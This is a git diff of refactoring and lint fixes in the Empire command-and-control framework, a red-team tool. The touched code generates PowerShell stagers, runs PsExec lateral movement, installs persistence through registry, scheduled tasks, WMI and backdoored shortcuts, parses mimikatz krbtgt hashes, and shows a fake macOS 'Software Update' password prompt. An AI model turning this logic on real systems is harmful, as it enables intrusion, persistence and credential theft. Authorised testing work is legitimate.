@@ def parse_mimikatz(data): domain = hostDomain sid = domainSid - for x in range(0, len(lines)): + for x in range(0, len(lines)): # noqa: PLW2901 if lines[x].startswith(b"User : krbtgt"): krbtgtHash = lines[x + 2].split(b":")[1].strip() break @@ -671,21 +671,20 @@ def color(string, color=None): attr.append("34") return "\x1b[{}m{}\x1b[0m".format(";".join(attr), string) + elif string.strip().startswith("[!]"): + attr.append("31") + return "\x1b[{}m{}\x1b[0m".format(";".join(attr), string) + elif string.strip().startswith("[+]"): + attr.append("32") + return "\x1b[{}m{}\x1b[0m".format(";".join(attr), string) + elif string.strip().startswith("[*]"): + attr.append("34") + return "\x1b[{}m{}\x1b[0m".format(";".join(attr), string) + elif string.strip().startswith("[>]"): + attr.append("33") + return "\x1b[{}m{}\x1b[0m".format(";".join(attr), string) else: - if string.strip().startswith("[!]"): - attr.append("31") - return "\x1b[{}m{}\x1b[0m".format(";".join(attr), string) - elif string.strip().startswith("[+]"): - attr.append("32") - return "\x1b[{}m{}\x1b[0m".format(";".join(attr), string) - elif string.strip().startswith("[*]"): - attr.append("34") - return "\x1b[{}m{}\x1b[0m".format(";".join(attr), string) - elif string.strip().startswith("[>]"): - attr.append("33") - return "\x1b[{}m{}\x1b[0m".format(";".join(attr), string) - else: - return string + return string def unique(seq, idfun=None): diff --git a/empire/server/common/packets.py b/empire/server/common/packets.py index 7137f6c95..75935862e 100644 --- a/empire/server/common/packets.py +++ b/empire/server/common/packets.py @@ -222,7 +222,7 @@ def parse_result_packet(packet, offset=0): # todo: agent returns resultpacket in big endian instead of little for type 44 with outpipe in powershell. # This should be fixed and removed at some point. - if responseID == 10240: + if responseID == 10240: # noqa: PLR2004 responseID = int.from_bytes( packet[0 + offset : 2 + offset], byteorder="big" ) @@ -322,9 +322,9 @@ def parse_routing_packet(stagingKey, data): results = {} offset = 0 # ensure we have at least the 20 bytes for a routing packet - if len(data) >= 20: + if len(data) >= 20: # noqa: PLR2004 while True: - if len(data) - offset < 20: + if len(data) - offset < 20: # noqa: PLR2004 break RC4IV = data[0 + offset : 4 + offset] @@ -375,7 +375,7 @@ def parse_routing_packet(stagingKey, data): return None -def build_routing_packet( +def build_routing_packet( # noqa: PLR0913 stagingKey, sessionID, language, meta="NONE", additional="NONE", encData="" ): """ diff --git a/empire/server/common/stagers.py b/empire/server/common/stagers.py index a23cb0b42..07fe580f3 100755 --- a/empire/server/common/stagers.py +++ b/empire/server/common/stagers.py @@ -62,7 +62,7 @@ def generate_launcher_fetcher( else: return stager - def generate_launcher( + def generate_launcher( # noqa: PLR0913 self, listenerName, language=None, @@ -83,14 +83,14 @@ def generate_launcher( with SessionLocal.begin() as db: bypasses_parsed = [] for bypass in bypasses.split(" "): - bypass = ( + db_bypass = ( db.query(models.Bypass).filter(models.Bypass.name == bypass).first() ) - if bypass: - if bypass.language == language: - bypasses_parsed.append(bypass.code) + if db_bypass: + if db_bypass.language == language: + bypasses_parsed.append(db_bypass.code) else: - log.warning(f"Invalid bypass language: {bypass.language}") + log.warning(f"Invalid bypass language: {db_bypass.language}") db_listener = self.mainMenu.listenersv2.get_by_name(db, listenerName) active_listener = self.mainMenu.listenersv2.get_active_listener( @@ -204,7 +204,7 @@ def generate_powershell_shellcode( shellcode = donut.create(file=directory, arch=arch_type) return shellcode, None - def generate_exe_oneliner( + def generate_exe_oneliner( # noqa: PLR0913 self, language, obfuscate, obfuscation_command, encode, listener_name ): """ @@ -351,7 +351,7 @@ def generate_macho(self, launcherCode): else: log.error("Unable to patch MachO binary") - def generate_dylib(self, launcherCode, arch, hijacker): + def generate_dylib(self, launcherCode, arch, hijacker): # noqa: PLR0912 """ Generates a dylib with an embedded python interpreter and runs launcher code when loaded into an application. """ @@ -363,11 +363,10 @@ def generate_dylib(self, launcherCode, arch, hijacker): f = f"{self.mainMenu.installPath}/data/misc/hijackers/template.dylib" else: f = f"{self.mainMenu.installPath}/data/misc/hijackers/template64.dylib" + elif arch == "x86": + f = f"{self.mainMenu.installPath}/data/misc/templateLauncher.dylib" else: - if arch == "x86": - f = f"{self.mainMenu.installPath}/data/misc/templateLauncher.dylib" - else: - f = f"{self.mainMenu.installPath}/data/misc/templateLauncher64.dylib" + f = f"{self.mainMenu.installPath}/data/misc/templateLauncher64.dylib" with open(f, "rb") as f: macho = macholib.MachO.MachO(f.name) @@ -408,7 +407,9 @@ def generate_dylib(self, launcherCode, arch, hijacker): else: log.error("Unable to patch dylib") - def generate_appbundle(self, launcherCode, Arch, icon, AppName, disarm): + def generate_appbundle( # noqa: PLR0915 PLR0912 PLR0913 + self, launcherCode, Arch, icon, AppName, disarm + ): """ Generates an application. The embedded executable is a macho binary with the python interpreter. """ diff --git a/empire/server/core/agent_service.py b/empire/server/core/agent_service.py index 586cba1e5..9ec468667 100644 --- a/empire/server/core/agent_service.py +++ b/empire/server/core/agent_service.py @@ -62,7 +62,7 @@ def update_agent(self, db: Session, db_agent: models.Agent, agent_req): return db_agent, None @staticmethod - def get_agent_checkins( + def get_agent_checkins( # noqa: PLR0913 db: Session, agents: list[str] | None = None, limit: int = -1, diff --git a/empire/server/core/agent_task_service.py b/empire/server/core/agent_task_service.py index e07c29855..abb2d89f7 100644 --- a/empire/server/core/agent_task_service.py +++ b/empire/server/core/agent_task_service.py @@ -39,7 +39,7 @@ def __init__(self, main_menu): self.last_task_lock = threading.Lock() @staticmethod - def get_tasks( + def get_tasks( # noqa: PLR0913 PLR0912 db: Session, agents: list[str] | None = None, users: list[int] | None = None, @@ -145,7 +145,7 @@ def get_temporary_tasks_for_agent(self, agent_id: str, clear: bool = True): return tasks - def create_task_shell( + def create_task_shell( # noqa: PLR0913 self, db: Session, agent: models.Agent, @@ -157,7 +157,7 @@ def create_task_shell( command = f"shell {command}" return self.add_task(db, agent, "TASK_SHELL", command, user_id=user_id) - def create_task_upload( + def create_task_upload( # noqa: PLR0913 self, db: Session, agent: models.Agent, file_data: str, directory: str, user_id ): data = f"{directory}|{file_data}" @@ -252,7 +252,7 @@ def create_task_update_comms( db, agent, "TASK_SWITCH_LISTENER", new_comms, user_id=user_id ) - def create_task_update_sleep( + def create_task_update_sleep( # noqa: PLR0913 self, db: Session, agent: models.Agent, delay: int, jitter: float, user_id: int ): agent.delay = delay @@ -380,7 +380,7 @@ def add_temporary_task( return task, None - def add_task( + def add_task( # noqa: PLR0913 self, db: Session, agent: models.Agent, diff --git a/empire/server/core/db/base.py b/empire/server/core/db/base.py index 704e04e52..30086f902 100644 --- a/empire/server/core/db/base.py +++ b/empire/server/core/db/base.py @@ -1,5 +1,6 @@ import logging import sqlite3 +import sys from pathlib import Path from sqlalchemy import UniqueConstraint, create_engine, event, text @@ -38,7 +39,7 @@ def try_create_engine(engine_url: str, *args, **kwargs) -> Engine: log.error(f"Failed connecting to database using {engine_url}") log.error("Perhaps the MySQL service is not running.") log.error("Try executing: sudo systemctl start mysql") - exit(1) + sys.exit(1) return engine @@ -161,4 +162,4 @@ def startup_db(): log.error( "If you have recently updated Empire, please run 'server --reset' to reset the database." ) - exit(1) + sys.exit(1) diff --git a/empire/server/core/db/defaults.py b/empire/server/core/db/defaults.py index 4748147c7..c0c385767 100644 --- a/empire/server/core/db/defaults.py +++ b/empire/server/core/db/defaults.py @@ -87,7 +87,7 @@ def get_staging_key(): choice = input( "\n [>] Enter server negotiation password, enter for random generation: " ) - if choice != "" and choice != "RANDOM": + if choice not in ("", "RANDOM"): return hashlib.md5(choice.encode("utf-8")).hexdigest() elif staging_key == "RANDOM": diff --git a/empire/server/core/download_service.py b/empire/server/core/download_service.py index 04494a4d8..222dbfbd0 100644 --- a/empire/server/core/download_service.py +++ b/empire/server/core/download_service.py @@ -25,7 +25,7 @@ def get_by_id(db: Session, uid: int): return db.query(models.Download).filter(models.Download.id == uid).first() @staticmethod - def get_all( + def get_all( # noqa: PLR0913 PLR0912 db: Session, download_types: list[DownloadSourceFilter] | None, tags: list[str] | None = None, @@ -115,7 +115,7 @@ def get_all( return results, total - def create_download_from_text( + def create_download_from_text( # noqa: PLR0913 self, db: Session, user: models.User, diff --git a/empire/server/core/hooks.py b/empire/server/core/hooks.py index 847b5196d..30e5cc79b 100644 --- a/empire/server/core/hooks.py +++ b/empire/server/core/hooks.py @@ -74,8 +74,8 @@ def unregister_hook(self, name: str, event: str | None = None): Unregister a hook. """ if event is None: - for event in self.hooks: - self.hooks[event].pop(name) + for ev in self.hooks: + self.hooks[ev].pop(name) return if name in self.hooks.get(event, {}): self.hooks[event].pop(name) @@ -85,8 +85,8 @@ def unregister_filter(self, name: str, event: str | None = None): Unregister a filter. """ if event is None: - for event in self.filters: - self.filters[event].pop(name) + for ev in self.filters: + self.filters[ev].pop(name) return if name in self.filters.get(event, {}): self.filters[event].pop(name) diff --git a/empire/server/core/hooks_internal.py b/empire/server/core/hooks_internal.py index 1a01f12b5..b5ab19048 100644 --- a/empire/server/core/hooks_internal.py +++ b/empire/server/core/hooks_internal.py @@ -2,7 +2,7 @@ import logging from json.decoder import JSONDecodeError -import jq as jq +import jq import terminaltables from sqlalchemy import and_ from sqlalchemy.orm import Session diff --git a/empire/server/core/listener_service.py b/empire/server/core/listener_service.py index 90d8b02be..b3d18a4cb 100644 --- a/empire/server/core/listener_service.py +++ b/empire/server/core/listener_service.py @@ -232,7 +232,7 @@ def _validate_listener_options( return template_instance, None @staticmethod - def _normalize_listener_options(instance) -> None: + def _normalize_listener_options(instance) -> None: # noqa: PLR0912 PLR0915 """ This is adapted from the old set_listener_option which does some coercions on the http fields. """ @@ -320,7 +320,7 @@ def _normalize_listener_options(instance) -> None: elif option_name == "StagingKey": # if the staging key isn't 32 characters, assume we're md5 hashing it value = str(value).strip() - if len(value) != 32: + if len(value) != 32: # noqa: PLR2004 staging_key_hash = hashlib.md5(value.encode("UTF-8")).hexdigest() log.warning( f"Warning: staging key not 32 characters, using hash of staging key instead: {staging_key_hash}" diff --git a/empire/server/core/module_service.py b/empire/server/core/module_service.py index f0a8c684a..bbff4e819 100644 --- a/empire/server/core/module_service.py +++ b/empire/server/core/module_service.py @@ -71,7 +71,7 @@ def update_modules(self, db: Session, module_req: ModuleBulkUpdateRequest): for db_module in db_modules: self.modules.get(db_module.id).enabled = module_req.enabled - def execute_module( + def execute_module( # noqa: PLR0913 PLR0912 PLR0915 self, db: Session, agent: models.Agent, @@ -267,7 +267,7 @@ def generate_bof_data( return script_file, script_end - def _validate_module_params( + def _validate_module_params( # noqa: PLR0913 self, db: Session, module: EmpireModule, @@ -372,7 +372,8 @@ def _generate_script_bof( module=module, params=params, obfuscate=obfuscation_config.enabled ) - for key, value in params.items(): + for key, v in params.items(): + value = v if key in ["Agent", "Architecture"]: continue for option in module.options: @@ -430,13 +431,12 @@ def _generate_script_powershell( if err: raise ModuleValidationException(err) + elif obfuscate: + script = self.obfuscation_service.obfuscate( + module.script, obfuscate_command + ) else: - if obfuscate: - script = self.obfuscation_service.obfuscate( - module.script, obfuscate_command - ) - else: - script = module.script + script = module.script script_end = f" {module.script_end} " option_strings = [] diff --git a/empire/server/core/plugin_service.py b/empire/server/core/plugin_service.py index 0702ce3b3..74ca94c8e 100644 --- a/empire/server/core/plugin_service.py +++ b/empire/server/core/plugin_service.py @@ -249,7 +249,7 @@ def get_task(self, db: SessionLocal, plugin_id: str, task_id: int): return None @staticmethod - def get_tasks( + def get_tasks( # noqa: PLR0913 PLR0912 db: Session, plugins: list[str] | None = None, users: list[int] | None = None, diff --git a/empire/server/core/tag_service.py b/empire/server/core/tag_service.py index b548ec991..e81a1c68d 100644 --- a/empire/server/core/tag_service.py +++ b/empire/server/core/tag_service.py @@ -27,7 +27,7 @@ def __init__(self, main_menu): def get_by_id(self, db: Session, tag_id: int): return db.query(models.Tag).filter(models.Tag.id == tag_id).first() - def get_all( + def get_all( # noqa: PLR0913 PLR0912 self, db: Session, tag_types: list[TagSourceFilter] | None, diff --git a/empire/server/listeners/http_malleable.py b/empire/server/listeners/http_malleable.py index 907a2717d..19f4aad8e 100644 --- a/empire/server/listeners/http_malleable.py +++ b/empire/server/listeners/http_malleable.py @@ -1649,48 +1649,45 @@ def handle_request(request_uri="", tempListenerOptions=None): malleableResponse.headers, ) - else: - if request.method == b"POST": - # step 4 of negotiation -> server returns RSA(nonce+AESsession)) - - message = f"{listenerName}: Sending session key to {clientIP}" - self.instance_log.info(message) - log.info(message) - - # note: stage 1 negotiation comms are hard coded, so we can't use malleable - return Response( - results, - 200, - implementation.server.headers, - ) + elif request.method == b"POST": + # step 4 of negotiation -> server returns RSA(nonce+AESsession)) - else: - # agent requested taskings - message = f"{listenerName}: Agent from {clientIP} retrieved taskings" - self.instance_log.info(message) + message = f"{listenerName}: Sending session key to {clientIP}" + self.instance_log.info(message) + log.info(message) + + # note: stage 1 negotiation comms are hard coded, so we can't use malleable + return Response( + results, + 200, + implementation.server.headers, + ) - # build malleable response with results - malleableResponse = ( - implementation.construct_server(results) + else: + # agent requested taskings + message = f"{listenerName}: Agent from {clientIP} retrieved taskings" + self.instance_log.info(message) + + # build malleable response with results + malleableResponse = ( + implementation.construct_server(results) + ) + if isinstance(malleableResponse.body, str): + malleableResponse.body = ( + malleableResponse.body.encode("latin-1") ) - if isinstance(malleableResponse.body, str): - malleableResponse.body = ( - malleableResponse.body.encode( - "latin-1" - ) - ) - - if "Server" in malleableResponse.headers: - WSGIRequestHandler.server_version = ( - malleableResponse.headers["Server"] - ) - WSGIRequestHandler.sys_version = "" - - return Response( - malleableResponse.body, - malleableResponse.code, - malleableResponse.headers, + + if "Server" in malleableResponse.headers: + WSGIRequestHandler.server_version = ( + malleableResponse.headers["Server"] ) + WSGIRequestHandler.sys_version = "" + + return Response( + malleableResponse.body, + malleableResponse.code, + malleableResponse.headers, + ) else: # no tasking for agent diff --git a/empire/server/listeners/onedrive.py b/empire/server/listeners/onedrive.py index 46428ccc0..4f7db1cf0 100755 --- a/empire/server/listeners/onedrive.py +++ b/empire/server/listeners/onedrive.py @@ -600,7 +600,7 @@ def upload_launcher(): headers={"Content-Type": "text/plain"}, ) - if r.status_code == 201 or r.status_code == 200: + if r.status_code in (201, 200): item = r.json() r = s.post( "{}/drive/items/{}/createLink".format(base_url, item["id"]), @@ -626,7 +626,7 @@ def upload_stager(): data=ps_stager, headers={"Content-Type": "application/octet-stream"}, ) - if r.status_code == 201 or r.status_code == 200: + if r.status_code in (201, 200): item = r.json() r = s.post( "{}/drive/items/{}/createLink".format(base_url, item["id"]), diff --git a/empire/server/modules/powershell/collection/minidump.py b/empire/server/modules/powershell/collection/minidump.py index 1fe6e5819..2ba63a567 100644 --- a/empire/server/modules/powershell/collection/minidump.py +++ b/empire/server/modules/powershell/collection/minidump.py @@ -27,11 +27,7 @@ def generate( if ( values and values != "" - and ( - option != "Agent" - and option != "ProcessName" - and option != "ProcessId" - ) + and (option not in ("Agent", "ProcessName", "ProcessId")) ): script_end += " -" + str(option) + " " + str(values) diff --git a/empire/server/modules/powershell/lateral_movement/inveigh_relay.py b/empire/server/modules/powershell/lateral_movement/inveigh_relay.py index 6a7795bf7..750b7e7f9 100644 --- a/empire/server/modules/powershell/lateral_movement/inveigh_relay.py +++ b/empire/server/modules/powershell/lateral_movement/inveigh_relay.py @@ -73,12 +73,11 @@ def generate( if values.lower() == "true": # if we're just adding a switch script_end += " -" + str(option) + elif "," in str(values): + quoted = '"' + str(values).replace(",", '","') + '"' + script_end += " -" + str(option) + " " + quoted else: - if "," in str(values): - quoted = '"' + str(values).replace(",", '","') + '"' - script_end += " -" + str(option) + " " + quoted - else: - script_end += " -" + str(option) + ' "' + str(values) + '"' + script_end += " -" + str(option) + ' "' + str(values) + '"' script = main_menu.modulesv2.finalize_module( script=script, diff --git a/empire/server/modules/powershell/lateral_movement/invoke_psexec.py b/empire/server/modules/powershell/lateral_movement/invoke_psexec.py index 34808866f..3ad989e93 100644 --- a/empire/server/modules/powershell/lateral_movement/invoke_psexec.py +++ b/empire/server/modules/powershell/lateral_movement/invoke_psexec.py @@ -44,33 +44,32 @@ def generate( # Store the result in a file script_end += f' -ResultFile "{result_file}"' + elif not main_menu.listenersv2.get_active_listener_by_name(listener_name): + # not a valid listener, return nothing for the script + return handle_error_message("[!] Invalid listener: " + listener_name) + else: - if not main_menu.listenersv2.get_active_listener_by_name(listener_name): - # not a valid listener, return nothing for the script - return handle_error_message("[!] Invalid listener: " + listener_name) + # generate the PowerShell one-liner with all of the proper options set + launcher = main_menu.stagers.generate_launcher( + listenerName=listener_name, + language="powershell", + encode=True, + obfuscate=launcher_obfuscate, + obfuscation_command=launcher_obfuscate_command, + userAgent=user_agent, + proxy=proxy, + proxyCreds=proxy_creds, + bypasses=params["Bypasses"], + ) + if launcher == "": + return handle_error_message("[!] Error in launcher generation.") else: - # generate the PowerShell one-liner with all of the proper options set - launcher = main_menu.stagers.generate_launcher( - listenerName=listener_name, - language="powershell", - encode=True, - obfuscate=launcher_obfuscate, - obfuscation_command=launcher_obfuscate_command, - userAgent=user_agent, - proxy=proxy, - proxyCreds=proxy_creds, - bypasses=params["Bypasses"], + stager_cmd = ( + "%COMSPEC% /C start /b C:\\Windows\\System32\\WindowsPowershell\\v1.0\\" + + launcher ) - - if launcher == "": - return handle_error_message("[!] Error in launcher generation.") - else: - stager_cmd = ( - "%COMSPEC% /C start /b C:\\Windows\\System32\\WindowsPowershell\\v1.0\\" - + launcher - ) - script_end += f'Invoke-PsExec -ComputerName {computer_name} -ServiceName "{service_name}" -Command "{stager_cmd}"' + script_end += f'Invoke-PsExec -ComputerName {computer_name} -ServiceName "{service_name}" -Command "{stager_cmd}"' outputf = params.get("OutputFunction", "Out-String") script_end += ( diff --git a/empire/server/modules/powershell/management/psinject.py b/empire/server/modules/powershell/management/psinject.py index 6e81c956c..25eb99966 100644 --- a/empire/server/modules/powershell/management/psinject.py +++ b/empire/server/modules/powershell/management/psinject.py @@ -54,9 +54,10 @@ def generate( proxyCreds=proxy_creds, bypasses=params["Bypasses"], ) + MAX_LAUNCHER_LEN = 5952 if launcher == "": return handle_error_message("[!] Error in launcher generation.") - elif len(launcher) > 5952: + elif len(launcher) > MAX_LAUNCHER_LEN: return handle_error_message("[!] Launcher string is too long!") else: launcher_code = launcher.split(" ")[-1] diff --git a/empire/server/modules/powershell/persistence/elevated/registry.py b/empire/server/modules/powershell/persistence/elevated/registry.py index 3ad6ebef4..e161209fc 100644 --- a/empire/server/modules/powershell/persistence/elevated/registry.py +++ b/empire/server/modules/powershell/persistence/elevated/registry.py @@ -89,28 +89,26 @@ def generate( else: return handle_error_message("[!] File does not exist: " + ext_file) - else: - # if an external file isn't specified, use a listener - if not main_menu.listenersv2.get_active_listener_by_name(listener_name): - # not a valid listener, return nothing for the script - return handle_error_message("[!] Invalid listener: " + listener_name) + elif not main_menu.listenersv2.get_active_listener_by_name(listener_name): + # not a valid listener, return nothing for the script + return handle_error_message("[!] Invalid listener: " + listener_name) - else: - # generate the PowerShell one-liner with all of the proper options set - launcher = main_menu.stagers.generate_launcher( - listenerName=listener_name, - language="powershell", - encode=True, - obfuscate=launcher_obfuscate, - obfuscation_command=launcher_obfuscate_command, - userAgent=user_agent, - proxy=proxy, - proxyCreds=proxy_creds, - bypasses=params["Bypasses"], - ) + else: + # generate the PowerShell one-liner with all of the proper options set + launcher = main_menu.stagers.generate_launcher( + listenerName=listener_name, + language="powershell", + encode=True, + obfuscate=launcher_obfuscate, + obfuscation_command=launcher_obfuscate_command, + userAgent=user_agent, + proxy=proxy, + proxyCreds=proxy_creds, + bypasses=params["Bypasses"], + ) - enc_script = launcher.split(" ")[-1] - status_msg += "using listener " + listener_name + enc_script = launcher.split(" ")[-1] + status_msg += "using listener " + listener_name # store the script in the specified alternate data stream location if ads_path != "": diff --git a/empire/server/modules/powershell/persistence/elevated/schtasks.py b/empire/server/modules/powershell/persistence/elevated/schtasks.py index 6d621d9db..66191ef9b 100644 --- a/empire/server/modules/powershell/persistence/elevated/schtasks.py +++ b/empire/server/modules/powershell/persistence/elevated/schtasks.py @@ -91,28 +91,26 @@ def generate( else: return handle_error_message("[!] File does not exist: " + ext_file) - else: - # if an external file isn't specified, use a listener - if not main_menu.listenersv2.get_active_listener_by_name(listener_name): - # not a valid listener, return nothing for the script - return handle_error_message("[!] Invalid listener: " + listener_name) + elif not main_menu.listenersv2.get_active_listener_by_name(listener_name): + # not a valid listener, return nothing for the script + return handle_error_message("[!] Invalid listener: " + listener_name) - else: - # generate the PowerShell one-liner with all of the proper options set - launcher = main_menu.stagers.generate_launcher( - listenerName=listener_name, - language="powershell", - encode=True, - obfuscate=launcher_obfuscate, - obfuscation_command=launcher_obfuscate_command, - userAgent=user_agent, - proxy=proxy, - proxyCreds=proxy_creds, - bypasses=params["Bypasses"], - ) + else: + # generate the PowerShell one-liner with all of the proper options set + launcher = main_menu.stagers.generate_launcher( + listenerName=listener_name, + language="powershell", + encode=True, + obfuscate=launcher_obfuscate, + obfuscation_command=launcher_obfuscate_command, + userAgent=user_agent, + proxy=proxy, + proxyCreds=proxy_creds, + bypasses=params["Bypasses"], + ) - enc_script = launcher.split(" ")[-1] - status_msg += "using listener " + listener_name + enc_script = launcher.split(" ")[-1] + status_msg += "using listener " + listener_name if ads_path != "": # store the script in the specified alternate data stream location diff --git a/empire/server/modules/powershell/persistence/elevated/wmi.py b/empire/server/modules/powershell/persistence/elevated/wmi.py index ff6007ecf..cc70d15b1 100644 --- a/empire/server/modules/powershell/persistence/elevated/wmi.py +++ b/empire/server/modules/powershell/persistence/elevated/wmi.py @@ -96,33 +96,32 @@ def generate( else: return handle_error_message("[!] File does not exist: " + ext_file) - else: - if listener_name == "": - return handle_error_message( - "[!] Either an ExtFile or a Listener must be specified" - ) + elif listener_name == "": + return handle_error_message( + "[!] Either an ExtFile or a Listener must be specified" + ) - # if an external file isn't specified, use a listener - elif not main_menu.listenersv2.get_active_listener_by_name(listener_name): - # not a valid listener, return nothing for the script - return handle_error_message("[!] Invalid listener: " + listener_name) + # if an external file isn't specified, use a listener + elif not main_menu.listenersv2.get_active_listener_by_name(listener_name): + # not a valid listener, return nothing for the script + return handle_error_message("[!] Invalid listener: " + listener_name) - else: - # generate the PowerShell one-liner with all of the proper options set - launcher = main_menu.stagers.generate_launcher( - listenerName=listener_name, - language="powershell", - encode=True, - obfuscate=launcher_obfuscate, - obfuscation_command=launcher_obfuscate_command, - userAgent=user_agent, - proxy=proxy, - proxyCreds=proxy_creds, - bypasses=params["Bypasses"], - ) + else: + # generate the PowerShell one-liner with all of the proper options set + launcher = main_menu.stagers.generate_launcher( + listenerName=listener_name, + language="powershell", + encode=True, + obfuscate=launcher_obfuscate, + obfuscation_command=launcher_obfuscate_command, + userAgent=user_agent, + proxy=proxy, + proxyCreds=proxy_creds, + bypasses=params["Bypasses"], + ) - enc_script = launcher.split(" ")[-1] - status_msg += "using listener " + listener_name + enc_script = launcher.split(" ")[-1] + status_msg += "using listener " + listener_name # sanity check to make sure we haven't exceeded the powershell -enc 8190 char max if len(enc_script) > 8190: diff --git a/empire/server/modules/powershell/persistence/userland/backdoor_lnk.py b/empire/server/modules/powershell/persistence/userland/backdoor_lnk.py index b9993550d..028be910f 100644 --- a/empire/server/modules/powershell/persistence/userland/backdoor_lnk.py +++ b/empire/server/modules/powershell/persistence/userland/backdoor_lnk.py @@ -85,30 +85,26 @@ def generate( else: return handle_error_message("[!] File does not exist: " + ext_file) - else: - # if an external file isn't specified, use a listener - if not main_menu.listenersv2.get_active_listener_by_name(listener_name): - # not a valid listener, return nothing for the script - return handle_error_message( - "[!] Invalid listener: " + listener_name - ) + elif not main_menu.listenersv2.get_active_listener_by_name(listener_name): + # not a valid listener, return nothing for the script + return handle_error_message("[!] Invalid listener: " + listener_name) - else: - # generate the PowerShell one-liner with all of the proper options set - launcher = main_menu.stagers.generate_launcher( - listenerName=listener_name, - language="powershell", - encode=True, - obfuscate=launcher_obfuscate, - obfuscation_command=launcher_obfuscate_command, - userAgent=user_agent, - proxy=proxy, - proxyCreds=proxy_creds, - bypasses=params["Bypasses"], - ) - - encScript = launcher.split(" ")[-1] - status_msg += "using listener " + listener_name + else: + # generate the PowerShell one-liner with all of the proper options set + launcher = main_menu.stagers.generate_launcher( + listenerName=listener_name, + language="powershell", + encode=True, + obfuscate=launcher_obfuscate, + obfuscation_command=launcher_obfuscate_command, + userAgent=user_agent, + proxy=proxy, + proxyCreds=proxy_creds, + bypasses=params["Bypasses"], + ) + + encScript = launcher.split(" ")[-1] + status_msg += "using listener " + listener_name script_end += f" -LNKPath '{lnk_path}'" script_end += f" -EncScript '{encScript}'" diff --git a/empire/server/modules/powershell/persistence/userland/registry.py b/empire/server/modules/powershell/persistence/userland/registry.py index c2080457a..9ef4824cc 100644 --- a/empire/server/modules/powershell/persistence/userland/registry.py +++ b/empire/server/modules/powershell/persistence/userland/registry.py @@ -91,28 +91,26 @@ def generate( else: return handle_error_message("[!] File does not exist: " + ext_file) - else: - # if an external file isn't specified, use a listener - if not main_menu.listenersv2.get_active_listener_by_name(listener_name): - # not a valid listener, return nothing for the script - return handle_error_message("[!] Invalid listener: " + listener_name) + elif not main_menu.listenersv2.get_active_listener_by_name(listener_name): + # not a valid listener, return nothing for the script + return handle_error_message("[!] Invalid listener: " + listener_name) - else: - # generate the PowerShell one-liner with all of the proper options set - launcher = main_menu.stagers.generate_launcher( - listenerName=listener_name, - language="powershell", - encode=True, - obfuscate=launcher_obfuscate, - obfuscation_command=launcher_obfuscate_command, - userAgent=user_agent, - proxy=proxy, - proxyCreds=proxy_creds, - bypasses=params["Bypasses"], - ) + else: + # generate the PowerShell one-liner with all of the proper options set + launcher = main_menu.stagers.generate_launcher( + listenerName=listener_name, + language="powershell", + encode=True, + obfuscate=launcher_obfuscate, + obfuscation_command=launcher_obfuscate_command, + userAgent=user_agent, + proxy=proxy, + proxyCreds=proxy_creds, + bypasses=params["Bypasses"], + ) - enc_script = launcher.split(" ")[-1] - status_msg += "using listener " + listener_name + enc_script = launcher.split(" ")[-1] + status_msg += "using listener " + listener_name if ads_path != "": # store the script in the specified alternate data stream location @@ -139,7 +137,8 @@ def generate( # https://gist.github.com/subTee/949fdf0f141546f24978 # sanity check to make sure we haven't exceeded the 31389 byte max - if len(enc_script) > 31389: + MAX_BYTES = 31389 + if len(enc_script) > MAX_BYTES: return handle_error_message( "[!] Warning: encoded script exceeds 31389 byte max." ) diff --git a/empire/server/modules/powershell/persistence/userland/schtasks.py b/empire/server/modules/powershell/persistence/userland/schtasks.py index 6f99ac632..3982cc68f 100644 --- a/empire/server/modules/powershell/persistence/userland/schtasks.py +++ b/empire/server/modules/powershell/persistence/userland/schtasks.py @@ -89,28 +89,26 @@ def generate( else: return handle_error_message("[!] File does not exist: " + ext_file) - else: - # if an external file isn't specified, use a listener - if not main_menu.listenersv2.get_active_listener_by_name(listener_name): - # not a valid listener, return nothing for the script - return handle_error_message("[!] Invalid listener: " + listener_name) + elif not main_menu.listenersv2.get_active_listener_by_name(listener_name): + # not a valid listener, return nothing for the script + return handle_error_message("[!] Invalid listener: " + listener_name) - else: - # generate the PowerShell one-liner with all of the proper options set - launcher = main_menu.stagers.generate_launcher( - listenerName=listener_name, - language="powershell", - encode=True, - obfuscate=launcher_obfuscate, - obfuscation_command=launcher_obfuscate_command, - userAgent=user_agent, - proxy=proxy, - proxyCreds=proxy_creds, - bypasses=params["Bypasses"], - ) + else: + # generate the PowerShell one-liner with all of the proper options set + launcher = main_menu.stagers.generate_launcher( + listenerName=listener_name, + language="powershell", + encode=True, + obfuscate=launcher_obfuscate, + obfuscation_command=launcher_obfuscate_command, + userAgent=user_agent, + proxy=proxy, + proxyCreds=proxy_creds, + bypasses=params["Bypasses"], + ) - enc_script = launcher.split(" ")[-1] - status_msg += "using listener " + listener_name + enc_script = launcher.split(" ")[-1] + status_msg += "using listener " + listener_name if ads_path != "": # store the script in the specified alternate data stream location @@ -157,7 +155,8 @@ def generate( ) # sanity check to make sure we haven't exceeded the cmd.exe command length max - if len(trigger_cmd) > 259: + MAX_CMD_LENGTH = 259 + if len(trigger_cmd) > MAX_CMD_LENGTH: return handle_error_message( "[!] Warning: trigger command exceeds the maximum of 259 characters." ) diff --git a/empire/server/modules/python/collection/osx/prompt.py b/empire/server/modules/python/collection/osx/prompt.py index d20757ea5..09a9b8492 100644 --- a/empire/server/modules/python/collection/osx/prompt.py +++ b/empire/server/modules/python/collection/osx/prompt.py @@ -26,17 +26,16 @@ def generate( print('\\n'.join(choices)) """ - else: - if sandboxMode != "": - # osascript prompt for the current application with System Preferences icon - script = """ + elif sandboxMode != "": + # osascript prompt for the current application with System Preferences icon + script = """ import os print(os.popen('osascript -e \\\'display dialog "Software Update requires that you type your password to apply changes." & return & return default answer "" with hidden answer with title "Software Update"\\\'').read()) """ - else: - # osascript prompt for the specific application - script = f""" + else: + # osascript prompt for the specific application + script = f""" import os print(os.popen('osascript -e \\\'tell app "{appName}" to activate\\\' -e \\\'tell app "{appName}" to display dialog "{appName} requires your password to continue." & return default answer "" with icon 1 with hidden answer with title "{appName} Alert"\\\'').read()) """ diff --git a/empire/server/plugins/csharpserver/csharpserver.py b/empire/server/plugins/csharpserver/csharpserver.py index 0def0a03b..d9bc13e20 100644 --- a/empire/server/plugins/csharpserver/csharpserver.py +++ b/empire/server/plugins/csharpserver/csharpserver.py @@ -5,7 +5,7 @@ import socket import subprocess -import empire.server.common.helpers as helpers +from empire.server.common import helpers from empire.server.common.empire import MainMenu from empire.server.common.plugins import BasePlugin from empire.server.core.db import models @@ -235,5 +235,3 @@ def shutdown(self): self.csharpserverbuild_proc.kill() self.csharpserver_proc.kill() self.thread.kill() - - return diff --git a/empire/server/plugins/reverseshell_stager_server/reverseshell_stager_server.py 